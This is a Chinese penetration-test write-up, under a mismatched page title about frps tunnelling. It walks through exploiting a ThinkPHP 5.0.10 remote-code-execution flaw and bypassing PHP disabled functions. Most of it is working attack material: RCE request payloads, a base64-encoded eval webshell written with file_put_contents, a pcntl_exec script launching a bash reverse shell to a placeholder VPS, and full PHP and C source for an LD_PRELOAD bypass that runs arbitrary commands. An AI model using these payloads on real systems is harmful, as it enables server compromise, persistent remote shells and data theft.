1. 程式人生 >實用技巧 >其它 >內網穿透使用免費的frps伺服器

內網穿透使用免費的frps伺服器


目錄
  • 前言
  • file_put_contents
  • pcntl_exec
  • LD_PRELOAD 劫持
  • 總結

 

前言

在一次滲透測試中,手工找了許久沒發現什麼東西,抱著嘗試的心情打開了xray

果然xray還是挺給力的,一開啟網頁的時候xray直接就掃描出了thinkPHP 5.0.10 rce漏洞

直接使用命令執行payload,結果報出system函式被禁用


s=whoami&_method=__construct&method=&filter[]=system

嘗試應用其他函式進行利用,經過測試發現call_user_func函式沒有被禁用 Payload


s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函式被禁用了

看到assert和include沒有被禁用,一開始想寫shell進日誌然後去利用檔案包含,發現並沒有任何反應,也不報錯。

 

file_put_contents

又回去看被禁用的函式,發現檔案函式沒被禁用,可以用file_put_contents函式去寫檔案 測試寫入phpinfo檔案


s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9Qt1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

寫入成功

寫入冰蠍馬可以進行檔案管理了

雖然可以進行檔案操作了,但還是沒法執行命令

 

pcntl_exec

想到了比較容易被忽略的命令執行函式pcntl_exec,發現pcntl_exec函式沒有被禁用,該函式可以指定一個程式來執行指定檔案

先寫一個exe.php檔案,在檔案中指定pcntl_exec的引數(執行執行程式,執行指定檔案)


<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh檔案寫入反彈命令


bash -i >& /dev/tcp/vpsip/7777 0>&1

瀏覽器訪問exe.php成功反彈shell

 

LD_PRELOAD 劫持

這次滲透是結束了,這裡嘗試了另外一種繞過方法,如果遇到pcntl_exec函式也被禁用的情況,可以利用環境變數 LD_PRELOAD 劫持系統函式,讓外部程式載入惡意 *.so,達到執行系統命令的效果。詳細的原理介紹就不贅述了,可以參考這個大哥的文章https://www.meetsec.cn/index.php/arcHives/44/

這種方法主要是需要上傳一個.php和一個由.c程式編譯得到共享物件.so檔案到伺服器

bypass_disablefunc.php


<?php
    echo "<p> <b>example</b>: Http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

bypass_disablefunc.php提供了三個引數:

  1. cmd 引數,待執行的系統命令(如 whoami)。
  2. outpath 引數,儲存命令執行輸出結果的檔案路徑(如 /www/wwwroot/public),便於在頁面上顯示,另外關於該引數,你應注意 WEB 是否有讀寫許可權、web 是否可跨目錄訪問、檔案將被覆蓋和刪除等幾點。
  3. sopath 引數,指定劫持系統函式的共享物件的絕對路徑(如 /www/wwwroot/bypass_disablefunc_x64.so),另外關於該引數,你應注意 web 是否可跨目錄訪問到它,最好也傳到web根目錄下。

bypass_disablefunc.c


#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., Centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

這裡需要用命令GCc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so將 bypass_disablefunc.c編譯為共享物件 bypass_disablefunc_x64.so

要根據目標架構編譯成不同版本,在 x64 的環境中編譯,若不帶編譯選項則預設為 x64,若要編譯成 x86 架構需要加上 -m32 選項。

可以在GitHub上找到上述需要的檔案 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

這裡利用之前的檔案管理冰蠍shell將php和so檔案上傳到伺服器web目錄 在瀏覽器訪問bypass_disablefunc.php傳入引數


http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功執行命令

 

總結

到此這篇關於一次專案中Thinkphp繞過禁用函式的文章就介紹到這了。